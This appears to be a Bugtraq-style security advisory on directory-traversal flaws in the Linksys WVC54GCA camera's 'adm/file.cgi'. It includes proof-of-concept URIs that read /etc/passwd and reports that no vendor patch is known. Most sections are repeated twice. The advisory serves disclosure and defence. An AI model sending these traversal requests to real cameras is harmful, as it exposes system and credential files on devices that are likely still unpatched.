Linksys WVC54GCA Wireless-G 'adm/file.cgi' Multiple Directory Traversal Vulnerabilities
BID:34713
Info
Linksys WVC54GCA Wireless-G 'adm/file.cgi' Multiple Directory Traversal Vulnerabilities
| Bugtraq ID: | 34713 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 23 2009 12:00AM |
| Updated: | Apr 27 2009 01:36PM |
| Credit: | pagvac |
| Vulnerable: |
Linksys WVC54GCA 1.00R24 Linksys WVC54GCA 1.00R22 |
| Not Vulnerable: | |
Discussion
Linksys WVC54GCA Wireless-G 'adm/file.cgi' Multiple Directory Traversal Vulnerabilities
Linksys WVC54GCA Wireless-G Internet Home Monitoring Camera is prone to multiple directory-traversal vulnerabilities because the software fails to sufficiently sanitize user-supplied input.
An attacker can exploit these issues using directory-traversal strings ('../') to download arbitrary files with the privileges of the server process. Information obtained may aid in further attacks.
Linksys WVC54GCA Wireless-G Internet Home Monitoring Camera firmware 1.00R22 and 1.00R24 are affected; other versions may also be vulnerable.
Linksys WVC54GCA Wireless-G Internet Home Monitoring Camera is prone to multiple directory-traversal vulnerabilities because the software fails to sufficiently sanitize user-supplied input.
An attacker can exploit these issues using directory-traversal strings ('../') to download arbitrary files with the privileges of the server process. Information obtained may aid in further attacks.
Linksys WVC54GCA Wireless-G Internet Home Monitoring Camera firmware 1.00R22 and 1.00R24 are affected; other versions may also be vulnerable.
Exploit / POC
Linksys WVC54GCA Wireless-G 'adm/file.cgi' Multiple Directory Traversal Vulnerabilities
Attackers can use a browser to exploit these issues.
The following example URIs are available:
http://www.example.com/adm/file.cgi?next_file=%2fetc%2fpasswd
http://www.example.com/adm/file.cgi?next_file=%2fetc/passwd
http://www.example.com/adm/file.cgi?next_file=%2e.%2f%2e.%2f%2e.%2f%2e.%2fetc%2fpasswd
http://www.example.com/adm/file.cgi?todo=pwnage&this_file=/etc/passwd
Attackers can use a browser to exploit these issues.
The following example URIs are available:
http://www.example.com/adm/file.cgi?next_file=%2fetc%2fpasswd
http://www.example.com/adm/file.cgi?next_file=%2fetc/passwd
http://www.example.com/adm/file.cgi?next_file=%2e.%2f%2e.%2f%2e.%2f%2e.%2fetc%2fpasswd
http://www.example.com/adm/file.cgi?todo=pwnage&this_file=/etc/passwd
Solution / Fix
Linksys WVC54GCA Wireless-G 'adm/file.cgi' Multiple Directory Traversal Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Linksys WVC54GCA Wireless-G 'adm/file.cgi' Multiple Directory Traversal Vulnerabilities
References:
References:
- Hacking Linksys IP Cameras (pt 3) (GNUCITIZEN)
- Wireless-G Internet Home Monitoring Camera (Linksys)